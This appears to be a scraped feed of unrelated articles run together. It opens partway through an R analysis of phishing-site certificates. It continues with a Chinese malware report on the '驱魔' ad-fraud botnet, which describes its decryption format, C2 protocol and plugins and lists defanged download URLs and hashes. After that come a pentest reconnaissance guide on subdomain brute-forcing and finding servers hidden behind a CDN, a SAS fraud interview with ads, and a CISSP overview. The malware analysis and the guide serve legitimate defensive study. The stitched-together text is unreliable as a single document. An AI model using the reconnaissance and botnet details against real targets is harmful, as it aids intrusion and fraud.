unnest(recent, inter) %>% distinct(phish_id, apex, CN) %>% count(CN, sort = TRUE) %>% mutate(pct = n/sum(n)) %>% gt::gt() %>% gt::fmt_number("n", decimals = 0) %>% gt::fmt_percent("pct") CN n pct Let’s Encrypt Authority X3 99 27.65% cPanel\, Inc. Certification Authority 75 20.95% RapidSSL TLS RSA CA G1 45 12.57% Google Internet Authority G3 24 6.70% COMODO RSA Domain Validation Secure Server CA 20 5.59% CloudFlare Inc ECC CA-2 18 5.03% Go Daddy Secure Certificate Authority G2 14 3.91% COMODO ECC Domain Validation Secure Server CA 2 11 3.07% Actalis Domain Validation Server CA G1 9 2.51% RapidSSL RSA CA 2018 9 2.51% Microsoft IT TLS CA 1 6 1.68% Microsoft IT TLS CA 5 6 1.68% DigiCert SHA2 Secure Server CA 5 1.40% Amazon 3 0.84% GlobalSign CloudSSL CA SHA256 G3 2 0.56% GTS CA 1O1 2 0.56% AlphaSSL CA SHA256 G2 1 0.28% DigiCert SHA2 Extended Validation Server CA 1 0.28% DigiCert SHA2 High Assurance Server CA 1 0.28% Don Dominio / MrDomain RSA DV CA 1 0.28% GlobalSign Extended Validation CA SHA256 G3 1 0.28% GlobalSign Organization Validation CA SHA256 G2 1 0.28% RapidSSL SHA256 CA 1 0.28% TrustAsia TLS RSA CA 1 0.28% USERTrust RSA Domain Validation Secure Server CA 1 0.28% NA 1 0.28%

LE is number one again! But, it’s important to note that these issuer CommonName s can roll up into a single issuing organization given just how messed up integrity and encryption capability is when it comes to web site certs, so the raw results could do with a bit of post-processing for a more complete picture (an exercise left to intrepid readers).

FIN

There are tons of avenues to explore with this data, so I hope this post whet your collective appetites sufficiently for you to dig into it, especially if you have some dowm-time coming.

Let me also take this opportunity to resissue guidance I and many others have uttered this holiday season: be super careful about what you click on, which sites you even just visit, and just how much you really trust the site, provider and entity behind the form about to enter your personal information and credit card info into.


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

$
0
0
前言

近期,金山毒霸安全实验室通过“捕风”威胁感知系统监控,发现一个以“流量暗刷与劫持”为主要攻击目的的老牌僵尸家族,开始进入活跃期,根据其传播渠道和技术特征,我们将其命名为“驱魔”病毒家族。

一、概述

该家族早期被发现寄生于“花瓣壁纸”、“锁大师”等流氓软件中,我们在2017年曾率先对其进行披露打击,但是“百足之虫,死而不僵”,“驱魔”家族近两年频繁变换宿主外壳进行传播,母体包括“云压”、“水滴精灵”、“锁大师”、“蜻蜓日历”、”桌面助手”、”护眼精灵”、“可萌壁纸”、“萌压”、“极压”、“简压”、“大象笔记”、“博士WIFI”等二十余款流氓软件,甚至在2017年友商披露的“异鬼Bootkit”家族的核心云控模块(后期变种)中也发现过其传播身影。

“驱魔”病毒家族传播渠道多样,传播周期较长,从我们的监控数据分析看,其高峰时期全网感染用户预估累计超过500万,一直属于境内近年活跃僵尸网络中的佼佼者。早期变种利用系统服务、系统驱动劫持等方式实现常驻隐蔽,后续大多借助”流氓软件”外壳寄生实现注入系统进程,通过多层解密和内存加载释放和傀儡进程注入来躲避安全软件查杀,并且暗刷配置和暗刷插件都是云端配置,控制灵活、扩展性和兼容性好。从其最新变种分析中,已发现主页劫持插件和针对天猫、斗鱼、搜狗、虎扑APP、zaker、百度糯米、秒针广告、凹凸租车、hao123导航等站点的暗刷插件超过70+,支持劫持国内主流浏览器,并且可模拟PC、iOS和Android等多系统平台流量。

二、技术分析

“驱魔”病毒家族不同母体的加载利用过程大同小异,以其近期变种“可萌壁纸”为例,安装后会注册启动项、服务、计划任务3个自启动点开机运行;然后创建rundll32.exe调用KemonWpLaunch.dll的导出函数CheckFor(),CheckFor()新建计划任务,计划任务在开机时创建rundll32.exe调用KemonWpLaunch.dll的导出函数Logon(),Logon()调用后会解析res文件得到暗刷主控模块并内存加载执行,主控模块访问服务器获取暗刷配置,并根据配置下载对应的暗刷插件注入到傀儡进程进行刷量。

加载执行流程如下图所示:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了
KemonWpLaunch.dll

计划任务执行后,rundll32.exe调用KemonWpLaunch.dll的导出函数Logon()后会枚举目录%CSIDL_COMMON_APPDATA%\{4944B23C-A8C9-4e57-905E-4223B8F7EF57}\下的*.res文件,并解密出暗刷主控模块在内存加载执行。

res文件格式解析

res文件以CoCreateGuid()生成的guid命名,如31060f7a82f444059d10dc0fb1292fcb.res;解密时首先判断res文件第2个字节是否为0xD8,是则以文件名的第6个字符作为密钥,异或解密文件第4字节以后的全部内容。

res文件解密后格式如下图所示,从第4字节开始是一个大小为100的索引结构体数组:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

索引结构体可定义如下:

typedef struct_FILE_INDEX {
BYTE Month; // 创建月份
BYTE Day; //创建日期
BYTE UnKnown1;
BYTE IsUsed; // 索引使用标记,1为已使用
BYTE UnKnown2[3];
BYTE FileID; // 文件ID
DWORD FileOffset; // 文件数据的偏移
DWORD FileSize; // 文件数据的大小
BYTE FileMd5[16]; // 文件数据的MD5
BYTE AesKey[16]; // 解密文件数据的AES密钥
} FILE_INDEX, *PFILE_INDEX;

解密res文件后,根据文件ID查找指定的索引项,根据索引里的偏移和大小读取数据,然后MD5校验,AES解密,LZMA解压得到暗刷主控模块,最后直接内存加载执行:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了
揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了
暗刷主控模块

主控模块加载执行后首先创建线程每1小时访问服务器report%d.boyougame.com获取一次暗刷配置;其中%d随机为1~5 ;然后解析协议,下载对应的暗刷插件注入到傀儡进程执行暗刷:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

配置协议格式解析

数据包异或0×33加密;头部14个字节(明文:00 00 00 00 00 01 02 00 00 00 00 00 XX YY),XXYY 取值跟具体功能相关;后续数据根据功能确定;

首先发送请求获取暗刷配置:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

发送数据包含机器码的base64编码,返回数据包含暗刷xml配置和暗刷插件ID,明文格式如下:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

请求到XML配置后,第二次通信发送暗刷插件ID,获取插件下载配置:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

发送插件ID,返回插件下载链接、文件MD5和AES密钥(AES密钥正好是加密前的文件MD5),明文格式如下:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

然后下载暗刷插件:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

下载的插件以MD5命名保存到C:\ProgramData\Microsoft\windows\Templates,下次下载前先以MD5为文件名查找文件,找到则校验MD5后直接AES解密,找不到再重新下载:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

插件下载后AES解密,注入到傀儡进程执行暗刷,然后发送统计数据包:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

注入采用经典的傀儡进程注入法,并通过命名管道传递暗刷配置:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了
揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了
暗刷模块插件

通过批量查询配置接口,获得730个暗刷配置和54个暗刷插件;从配置来看,有针对bitauto、pptv、zaker、搜狐、360影视、优酷、爱奇艺、腾讯视频、2345影视、hao123影视、搜狗视频等站点的广告暗刷;从暗刷插件模块来看,有针对斗鱼、百度糯米、hao123导航、虎扑APP、miaozen广告、admaster广告、zaker、uc浏览器、auto租车APP、搜狗、天猫等站点或APP的暗刷,并可模拟iOS和Android移动平台流量特征:

暗刷配置:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

暗刷插件:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

由于插件数量众多,这里选取有代表性的进行分析:

1、天猫暗刷插件(WorkBr.dll.exe_yaazm.dat,ID=61)

该插件被注入到傀儡进程执行后会从资源文件进行多层释放和解压,最终加载“热键.dll”,并调用其导出函数CodeMain()执行刷量;在CodeMain()函数中先会判断IE版本是否为IE9及更高版本,然后hook 函数MessageBoxIndirectW,patch掉函数waveOutWrite、midiStreamOpen、DirectSoundCreate以保持暗刷时完全静默隐蔽,防止用户发现,最后创建线程开始刷量:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

暗刷线程中首先访问hxxps:// www.tcmdz.com/api/goods/v1/get.visits/ 获取配置,取得配置后再调用IE内核访问FullUrl进行暗刷:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

2、浏览器扩展程序利用插件(shell.dll.exe_nnwiv.dat,ID=53)

这个插件会针对chrome内核浏览器安装扩展“口袋比价购物”,名字山寨了正版扩展程序“口袋比价购物工具条”,但是完全没有比价功能,唯一的功能就是劫持网址;


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

该扩展会在后台运行,从链接hxxps:// www.tcmdz.com/api/goods/v1/get.goods.v2/?ua= 下载json配置用于流量劫持;


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了
揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

扩展启用后,会在后台重定向匹配其规则的链接,带上其自己的推广标识,完成流量劫持;配置规则涵盖了淘宝、天猫、京东、2345、hao123、购物帮、携程、华为商城、苏宁易购、yx58等站点。


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了
3、视频暗刷插件(FF_PC_WEBKIT_MIP.dll.exe_suvkv.dat,ID=30)

该插件主要暗刷各大视频站点的视频广告,如搜狐、360影视、优酷、爱奇艺、腾讯视频、2345影视、hao123影视、搜狗视频等,其配置规则数量占比高达78.5%;暗刷时首先访问hxxp://downloads.boyougame.com/newbnk_forxv.rar下载视频播放相关模块,解包后子文件如下:


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

然后加载WebKit.dll并调用其导出函数xxxbbbfffccc开始执行暗刷;


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

暗刷过程中还会检测系统中安装的浏览器来生成对应的USER-AGENT,模拟真实用户行为;


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

4、移动平台暗刷插件(mb_ucbrower.dll.exe_wuthd.dat,ID=29)

该插件会模拟Android和IOS平台流量特征暗刷UC浏览器移动端上的广告;


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了
揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了

5、浏览器主页劫持插件

该插件会检测QQ、360、猎豹、2345、搜狗、UC、IE等浏览器,检测到后会篡改浏览器主页配置为 https://hao.360.cn/?src=lm&ls=n *****a;对搜狗浏览器还会篡改搜索URL为 https://www.sogou.com/sogou?query= {searchTerms}&pid=sogou-site-a*********20;


揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了
揭秘“驱魔”家族:全国最大的暗刷僵尸网络上线了
附录IOC URL: hxxp://downloads.boyougame.com/douyu_cookie.exe_ufulx.dat

hxxp://downloads.boyougame.com/FF_PC_WEBKIT_FLASH.dll.exe_izhfx.dat

hxxp://downloads.boyougame.com/IP_PV_FLASH_CK_NEW.exe_ytpon.dat

hxxp://downloads.boyougame.com/JK_admaster_yc.dll.exe_lxxdd.dat

hxxp://downloads.boyougame.com/JK_YF008.dll.exe_ozbmv.dat

hxxp://downloads.boyougame.com/JK_YF008_IDFA.dll.exe_sfdiy.dat

hxxp://downloads.boyougame.com/JK_YF008_WB.dll.exe_zmijd.dat

hxxp://downloads.boyougame.com/JK_YF008_WX.dll.exe_slppv.dat

hxxp://downloads.boyougame.com/mb_taobaojk.dll.exe_vqiub.dat

hxxp://downloads.boyougame.com/mb_ucbrower.dll.exe_wuthd.dat

hxxp://downloads.boyougame.com/shell.dll.exe_krriw.dat

hxxp://downloads.boyougame.com/standard.dll.exe_himdi.dat

hxxp://downloads.boyougame.com/standardex.dll.exe_ptint.dat

hxxp://downloads.boyougame.com/WorkBr.dll.exe_xrkti.dat

hxxp://downloads.boyougame.com/WorkBr.dll.exe_zrrfw.dat

hxxp://downloads.boyougame.com/WorkBr.dll.exe_zrskk.dat

hxxp://downloads.junleyanyi.com/aomi_api.dll.exe_zqpja.dat

hxxp://downloads.junleyanyi.com/app_aotu_slifl.dat

hxxp://downloads.junleyanyi.com/browserReport.exe_egttu.dat

hxxp://downloads.junleyanyi.com/douyu_cookie.exe_ssezs.dat

hxxp://downloads.junleyanyi.com/dsp_oad.dll.exe_logpj.dat

hxxp://downloads.junleyanyi.com/fav_work.dll.exe_rrwqx.dat

hxxp://downloads.junleyanyi.com/FF_MVP_baidunuomi.exe_rjcfl.dat

hxxp://downloads.junleyanyi.com/FF_MVP_CC.dll.exe_lfqht.dat

hxxp://downloads.junleyanyi.com/FF_MVP_IPAD.dll.exe_kadvy.dat

hxxp://downloads.junleyanyi.com/FF_MVP_LW.dll.exe_epvdz.dat

hxxp://downloads.junleyanyi.com/FF_PC_WEBKIT_ALL.dll.exe_icduy.dat

hxxp://downloads.junleyanyi.com/FF_PC_WEBKIT_MIP.dll.exe_suvkv.dat

hxxp://downloads.junleyanyi.com/FF_PC_WEBKIT_PZYC.dll.exe_vnxyi.dat

hxxp://downloads.junleyanyi.com/hao123_UV.dll.exe_kwgcn.dat

hxxp://downloads.junleyanyi.com/IP_PV_FLASH_CK_NEW_MB.exe_rbzik.dat

hxxp://downloads.junleyanyi.com/JK_hupuApp.dll.exe_lzfrx.dat

hxxp://downloads.junleyanyi.com/JK_miaozhen.dll.exe_zlpqi.dat

hxxp://downloads.junleyanyi.com/JK_YF008.dll.exe_znand.dat

hxxp://downloads.junleyanyi.com/mb_bgstat_zaker.dll.exe_azcmn.dat

hxxp://downloads.junleyanyi.com/mb_bgstat_zaker.dll.exe_zsyhx.dat

hxxp://downloads.junleyanyi.com/mb_dcmp.dll.exe_fzlcm.dat

hxxp://downloads.junleyanyi.com/PC_WEBKIT.dll.exe_vqsvo.dat

hxxp://downloads.junleyanyi.com/PC_WEBKIT.exe_rjiia.dat

hxxp://downloads.junleyanyi.com/ProductRegRead.dll.exe_monwr.dat

hxxp://downloads.junleyanyi.com/ProductRegSetBr.dll.exe_xhwou.dat

hxxp://downloads.junleyanyi.com/QDSDK_Install.exe_zqgqb.dat

hxxp://downloads.junleyanyi.com/QDSDK_Install_sz.exe_odbne.dat

hxxp://downloads.junleyanyi.com/shell.dll.exe_eqbup.dat

hxxp://downloads.junleyanyi.com/shell.dll.exe_nnwiv.dat

hxxp://downloads.junleyanyi.com/shell.dll.exe_ozqnl.dat

hxxp://downloads.junleyanyi.com/shell.dll.exe_pjggq.dat

hxxp://downloads.junleyanyi.com/wap_sogou.exe_gdheq.dat

hxxp://downloads.junleyanyi.com/WorkBr.dll.exe_xshtc.dat

hxxp://downloads.junleyanyi.com/WorkBr.dll.exe_yaazm.dat

hxxp://downloads.junleyanyi.com/zaker_new.dll.exe_fhlvh.dat

hxxp://downloads.junleyanyi.com/WorkBr.dll.exe_zqgfv.dat

hxxp://downloads.junleyanyi.com/sg_mstrail_recur_dopzk.dat

hxxp://downloads.junleyanyi.com/FF_VIDEO_SH.dll.exe_bsrhf.dat

hxxps:// www.tcmdz.com/api/goods/v1/get.visits/

hxxps:// www.tcmdz.com/api/goods/v1/get.goods.v2/?ua=

hxxps:// www.tcmdz.com/api/goods/v1/get.cnzz/?href=

hxxp://downloads.junleyanyi.com/newbnk_forxv.rar

hxxp://downloads.boyougame.com/newbnk_forxv.rar

hxxp://downloads.xunjietu.com.cn/newbnk_forxv.rar

hxxp://downloads.zhaopeiyu.com/temp_hpkvj.7z

hxxp://downloads.zhaopeiyu.com/NPSWF32_rtxfb.7z

hxxp://downloads.zhaopeiyu.com/webktest_170509_bzsrq.rar

MD5: 8D371C81EEB27360CCF792579FF1006F 620717F7FE9418F8A9E3203867D6F39A EEB2F05308B130B9EF8B777BF6332EEE EB874E6D21E7BA7D6EF000AF9B79AF3A 8C4A2320411CA702C21AA1A053A8078B 8736D9AEBF05DBAB10DE2BA905E036F3 数字签名: 合肥臻璞网络科技有限公司 深圳市史宾赛科技有限公司 深圳市盛豪霆科技有限公司 深圳市云舒三黑科技有限公司 北京博奥路通科技有限公司 北京众耀科技有限公司 深圳市博游天下科技有限公司 广西同城网络科技有限责任公司

*本文作者:安全豹,转载请注明来自CodeSec.Net

我的信息搜集之道

$
0
0

前段时间,看了一本书名为《Kali linux 渗透测试的艺术》,我发现书中第四章信息搜集那部分有些内容不能适应有些内容不能适用国内,这勾起了我想总结一下国内信息搜集的欲望,于是就有了这篇文章。

什么是信息搜集

信息搜集也称踩点,信息搜集毋庸置疑就是尽可能的搜集目标的信息,包括端口信息、DNS信息、员工邮箱等等看似并不起眼的一些信息都算是信息搜集,这些看似微乎其微的信息,对于渗透测试而言就关乎到成功与否了。

信息搜集的重要性

信息搜集是渗透测试的最重要的阶段,占据整个渗透测试的60%,可见信息搜集的重要性。根据收集的有用信息,可以大大提高我们渗透测试的成功率。

信息搜集的分类 1、主动式信息搜集(可获取到的信息较多,但易被目标发现) 2、通过直接发起与被测目标网络之间的互动来获取相关信息,如通过Nmap扫描目标系统。 3、被动式信息搜集(搜集到的信息较少,但不易被发现) 4、通过第三方服务来获取目标网络相关信息。如通过搜索引擎方式来搜集信息。 搜集什么信息 1、whois信息(微步) 2、网站架构 3、dns信息(通过查询dns我们可以检测是否存在dns域传送漏洞) 4、子域名搜集 5、敏感目录及敏感信息、源码泄露(搜索引擎+工具) 6、脆弱系统(网络空间) 7、旁站查询 8、C端查询 9、指纹信息 10、端口服务 11、备案信息 12、真实ip 13、探测waf 14、社工(朋友圈、微博、qq空间、求职、交易等社交平台) 15、企业信息(天眼查、企业信用信息公示系统、工业和信息化部ICP/IP地址/域名信息备案管理系统) 信息搜集的流程

上面我已经列举了需要搜集的信息,然后我给它们分了一下类。

我考虑到一个网站的组成是由域名、服务器、网站程序组成的。

因此:

首先入手域名方面:whois、子域名、备案信息;

其次是入手服务器方面:dns信息、端口服务、真实ip;

然后入手网站程序(web层)方面:网站架构、敏感目录及敏感信息、源码泄露(搜索引擎+工具)、脆弱系统(网络空间)、旁站查询、C端查询、指纹信息、探测waf;

最后入手企业方面:天眼查、企业信用信息公示系统

归了类之后,我做了一张脑图。

脑图如下图所示:


我的信息搜集之道
Whois信息和Whois反查

whois是用来查询域名的IP以及所有者等信息的传输协议。 whois信息可以获取关键注册人的信息,包括注册商、联系人、联系邮箱、联系电话、创建时间等,可以进行邮箱反查域名,爆破邮箱,社工,域名劫持等等。

查询方式

1、 http://whois.chinaz.com/

2、 微步

3、 https://who.is/

4、Linux whois命令

5、其他工具

这里需要注意的是国际域名可以设置隐私保护,但像国内.cn等域名是不可以设置隐私保护的。

当然我们得比较一下这几种方式哪一种比较适合自己。

站长之家查询whois信息

这里我用360.cn为例。可以看到下图我们搜集到了注册商、联系人、联系邮箱等信息。

可以看到很直观,很中国,而且我们还可以通过联系人和联系邮箱反查。


我的信息搜集之道

我们通过联系人反查,搜集到更多信息,效果如下图


我的信息搜集之道

我们也可以通过邮箱反查,效果如下图


我的信息搜集之道
微步查询whois信息

下图通过微步查询whois信息的效果,和站长之家一样很中国,想要反查whois需要复制邮箱


我的信息搜集之道

图是反查邮箱的效果,微步需要登录才可以查看更多的信息。


我的信息搜集之道

因此相较于站长之家就显得有些麻烦了。

who.is查询whois信息

下图是通过who.is网站查询到的whois信息,可以看到中文字符竟还有乱码,很外国,且不能whois反查。


我的信息搜集之道
Linux whois命令查询whois信息

需要注意的是并不是所有Linux系统都自带whois命令的。

我这里就用CentOS7来演示安装whois客户端。

具体命令的话可以看下图


我的信息搜集之道

安装完成之后,我们来查询一下360.cn。可以看到下图的效果,同样出现了乱码。


我的信息搜集之道
其他工具查询whois信息

查询whois信息的工具,我这里不做讲解了,工具实质上还是调用了网站接口的。

因此通过比较,我们针对国内网站的whois信息,我们使用站长之家和微步来查询whois信息效率会比较高。

子域名搜集

子域名收集可以发现更多目标,以增加渗透测试成功的可能性,探测到更多隐藏或遗忘的应用服务,这些应用往往可导致一些严重漏洞。当一个主站坚不可摧时,我们可以尝试从分站入手。

查询方式

1、layer子域名挖掘机

2、 https://phpinfo.me/domain/

3、subDomainsBrute

4、搜索引擎语法(site:xxx.com)

layer子域名挖掘机

下载地址: https://www.webshell.cc/6384.html

我们运行这款工具需要安装.net framework 4.0以上,否则会出现像下图一样的错误信息


我的信息搜集之道

我就以安装4.5.2为例


我的信息搜集之道

安装完毕后会出现下图


我的信息搜集之道

现在可以成功运行工具了


我的信息搜集之道

以360.cn为例,爆破的效果如下图,这款软件的好处是还可以进行扫描端口和探测服务器类型


我的信息搜集之道
https://phpinfo.me/domain/

这是Lcy大佬的在线子域名爆破工具,我们可以测试一下爆破360.cn的子域名的效果,如下图所示,作为在线工具,它的爆破速度很可观。


我的信息搜集之道
subDomainsBrute

这是lijiejie大佬用python写的子域名爆破工具,不用说运行的话需要先安装python,对于懒惰的人,直接拖进kali里直接就可以运行。

github下载地址: https://github.com/lijiejie/subDomainsBrute

下图是以360.cn为例,用这款工具爆破出来的子域名,可以看到比较少,这是因为字典比较小的原因。


我的信息搜集之道
我的信息搜集之道
搜索引擎语法(site:xxx.com)

我们也可以通过搜索引擎的语法搜索,但是搜索到的子域名比较少。

下图是通过百度搜索360.cn子域名的效果图,当然谷歌也是同样的语法。


我的信息搜集之道
备案信息

备案信息分为两种,一种是IPC备案信息查询,一种是公安部备案信息查询。如果是国外的服务器是不需要备案的,因此可以忽略此步骤,国内的服务器是需要备案的,因此可以尝试获取信息。

查询方式

1、 ICP备案查询

2、 公安部备案查询

ICP备案查询

下图是通过网站查询ICP备案信息


我的信息搜集之道
公安部备案查询

下图是通过全国公安机关互联网安全管理服务平台查询公安部备案信息


我的信息搜集之道
DNS信息搜集

通过查询DNS信息,我们可能可以发现网站的真实ip地址,也可以尝试测试是否存在DNS域传送漏洞。

查询方式 1、Kali(host、big命令) 2、windows(nslookup命令) 3、在线工具 Kali命令

host查询DNS信息,如下图所示:


我的信息搜集之道

big查询DNS信息,如下图所示


我的信息搜集之道
windows命令

nslookup命令效果如下图,比较low。


我的信息搜集之道
在线工具

地址:

http://tool.chinaz.com/dns/

https://tool.lu/dns/

这里就不做讲解了,和查whois信息一样。

探测端口服务 查询方式

Nmap

个人觉得用Nmap足矣

Nmap扫描

扫描结果如下图所示,可以看到我们可以扫描到操作系统类型、端口信息和端口对应的服务信息。


我的信息搜集之道

下图是详细端口对应服务图


我的信息搜集之道
获取网站真实ip

现在大多数的网站都开启了CDN加速,导致我们获取到的IP地址不一定是真实的IP地址。

CDN的全称是ContentDelivery Network,即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决 Internet网络拥挤的状况,提高用户访问网站的响应速度。

1、二级域名法 一般网站不会所有的二级域名放CDN,因此我们可以利用这点来获取网站的真实ip

2、 多地ping法 由CDN的原理,不同的地方去Ping服务器,如果IP不一样,则目标网站肯定使用了CDN

3、nslookup法 找国外的比较偏僻的DNS解析服务器进行DNS查询,因为大部分CDN提供商只针对国内市场,而对国外市场几乎是不做CDN,所以有很大的几率会直接解析到真实IP

4、查看邮件法 通过查看邮件原文来确定ip地址,CDN总不会发送邮件吧

5、RSS订阅法 RSS原理于邮件法差不多

6、 查看历史解析记录法 查找域名历史解析记录,域名在上CDN之前用的IP,很有可能就是CDN的真实源IP地址

7、利用网站漏洞(XSS、命令执行、SSRF、php探针、phpinfo页面等) 可以通过一些页面和漏洞获取到服务器ip地址也

Sharing data and risks helps combat fraud, says SAS VP

$
0
0

Having organisations break down historic barriers and more proactively share data and risks helps the industry as a whole do a better job collectively in identifying fraud, Stu Bradley says.

Stewart (Stu) Bradley is the VP, Fraud and Security Division for global analytics software vendor, SAS. The division was created in April 2018 as part of SAS’ overall three-year strategic plan, consolidating resources where the company saw growth.

Bradley visited Australia recently to speak to local banks during “International Fraud Awareness Week.”

This week is not a celebration but a time “for financial institutions and telcos struggling with application fraud to root out illicit behaviours and come together to ensure we share information and ideas and put the appropriate spotlight on fraud which is a major issue that all our economies across the globe are dealing with,” Bradley said.

“Everything we do in the fraud and security world is aligned to the initiative of developing capabilities that ensure we are creating good on a global basis,” Bradley said, “whether preventing identity theft and the pain individuals go through when their identity is stolen, to better protection of data, to ensuring we are addressing leakage.”

These goals are not without challenges; “The market needs a more centralised and cohesive approach to analytics,” he says. “There’s a lot of hype about machine learning, artificial intelligence, and you name the buzzword and security vendors use them all. It’s created confusion and customers suffer from a patchwork quilt of technologies.”

Instead, Bradley says companies need an analytics layer to rationalise the investments they have made and to make sure they get value out of their data and can consolidate it and structure it appropriately. He says he is seeing this trend emerge in customers as they mature in their analytic endeavours. “Some customers have needs for us to be their analytic partner and build and deploy on their behalf while others want the capabilities to build and deploy themselves in a more governed way. It’s important to build an architecture to support a wide range of initiatives across a wide range of analytic capabilities.”

Either way, “one thing that rings through is the need to serve analytics for fraud and security up to a wide range of users and skillsets, and make analytics approachable to the business itself - more than just data scientists - so everyone can advantage from this analytic approach,” Bradley says.

In Bradley’s perception, where organisations sometimes struggle is they initially focus on an analytics approach without successfully addressing the data aspects of creating a sustainable analytic program. There’s a lot of time and effort to be spent on how you source the data, address quality, integrate, enrich and structure it so it is analytically ready. “Not having appropriate guidance to get your data right has an impact on analytic success,” he cautions.

Even when a company has its own data strategy in place, fraud “is both an institution issue and an industry issue,” Bradley says. “Success can come in many forms, and one of those is organisations both commercial and Government banding together to help the issue.”

“Having organisations break down historic barriers and more proactively share data and share risks so we can do a better job collectively is a fundamentally important piece in getting ahead of the game moving forward.”

REASON TO CHOOSE TENDA MESH WIFI

Our Mesh WiFi system MW3 is the first in Australia market with price below AUD$200 for a set of three.

Best valued product

Strong signal covering up to 300m2 for MW3 and 500m2 for MW6

Aesthetically pleasing and light weigh (blend into any room deco)

Wireline backhauls supported

Product units are pre-paired and easy to setup

Not requiring phone number or email address to set up

Wall penetration (better than other similar brands)

Seamless WiFi roaming

User friendly app with controls to setup a guest network, parental controls for disabling groups of devices you allocate to individuals, QoS and more

CLICK FOR MORE INFO!

LEARN HOW TO REDUCE YOUR RISK OF A CYBER ATTACK

Australia is a cyber espionage hot spot.

As we automate, script and move to the cloud, more and more businesses are reliant on infrastructure that has the high potential to be exposed to risk.

It only takes one awry email to expose an accounts’ payable process, and for cyber attackers to cost a business thousands of dollars.

In the free white paper ‘6 Steps to Improve your Business Cyber Security’ you’ll learn some simple steps you should be taking to prevent devastating and malicious cyber attacks from destroying your business.

Cyber security can no longer be ignored, in this white paper you’ll learn:

How does business security get breached?

What can it cost to get it wrong?

6 actionable tips

DOWNLOAD NOW!

CISSP 认证8个知识域的整体观

$
0
0

CISSP的CBK在14年的时候,进了一个比较大的一个变化,从以前的十个知识域变成了八个知识域,把原来的知识点重新进行了组合,比方说把BCP的需求的那一部分搬到安全与风险管理这一个章节。


CISSP 认证8个知识域的整体观

CISSP CBK的重新划分,有其内在的逻辑的,这个逻辑到底是什么呢?如果说我们把这个逻辑我们搞清楚的话,就更有利于我们从一个整体上去把握。我重新对它一个排序,这样这个排序排在最前面的是安全风险管理,排在最后的是安全评估与测试这里中间的这个环节我就不一一去说了,这 八个知识域的思维视角 我们到底以怎样去看他?

1、安全与风险管理-顶层思维

我们首先来看到,安全与风险管理它实际上是 顶层思维 。这里讲的是说如何去发现归纳总结企业自身安全需求上,需求决定一切,需求一般来自与业务的安全需求,合规需求,业务连续性续期,风险评估的结果等。如果说你不知道你的问题,你的需求在哪里,你所谓的安全防护都是扯淡。第二个就你有了需求之后,要去满足需求,接下来就是所谓的安全规划,安全顶层设计,包括安全组织的设置,定义安全角色、明确安全策略目标等。这就是所谓的什么安全与风险管理,它是一个顶层思维。

2、 资产安全 -业务思维

资产到底需要怎样等级或强度的安全防护呢,如何判定。这需要安全专业人员要有业务思维,我们一定要站在业务的角度去看,安全到底在里面起什么作用?我们看互联网公司,他们的信息安全基本上走在行业的前列。这一点是毋庸置疑的,就是因为它的安全跟业务绑得非常的紧密。电子商务正是如此,云计算平台也是如此。业务思维能够帮助我们更好的去理解安全对于业务的这种价值作用,也就是说进一步明确我们的安全保护的对象。企业业务有关键业务和辅助业务之分,这也是我们为什么要把资产分个三六九等去区别对待的原因。同时企业在安全投入的资源也是有限的,区分对待也是必然。

3、安全架构与工程(身份与访问管理、通信与网络安全、软件开发安全)-设计思维

明白了要是保护的对象,接下来要去设计你整个安全防护体系。就是安全工程与架构,身份与访问管理,通信与网络安全以及软件开发安全等四个知识域的内容。如何去设计一种安全的机制,去保障这些资产获得适当的保护。安全工程与架构,安全模型和防护机制的选择;身份与访问管理主要是围绕着身份和权限去展开的;通信与网络安全主要讲述网络分层、协议的安全和设备的安全;软件开发安全是从安全的内生长的角度来看的,系统自身具备的基本的安全措施,比如登录身份验证,防SQL注入等。

4、安全 运营 -运营思维

安全设计弄完,相关系统和机制的部署。接下来就是安全的运营,这就比方说你安全制度有了,安全设备有了,你要去保证你的这些安全制度能够被有效执行,你的安全设备要会用和用好。它是持续的保障安全。

5、 安全的评估与测试 -第三方思维

安全工作到底做得如何,不能自说自话,除了是否发生安全事件的终极检验之外,需要及时的第三方的客观评价。另外,企业利益很多时候涉及第三方的利益。比方说集团公司总部会关心下面的分子公司的安全,物流关心供应链安全;监管部门要依法履行安全检查评估与测评之职责,用第三方的思维来看这个事情。更客观的验证测试安全的有效性。

最后简单总结一下:

对于整个CISSP来说,这八个知识域我们可以从顶层思维,业务思维、设计思维、运营思维和第三方的思维这样的视角来看整个安全知识体系。后续的进一步安全思维模型的讲解和刻意练习,帮助大家建立结构化、系统的安全认知体系。

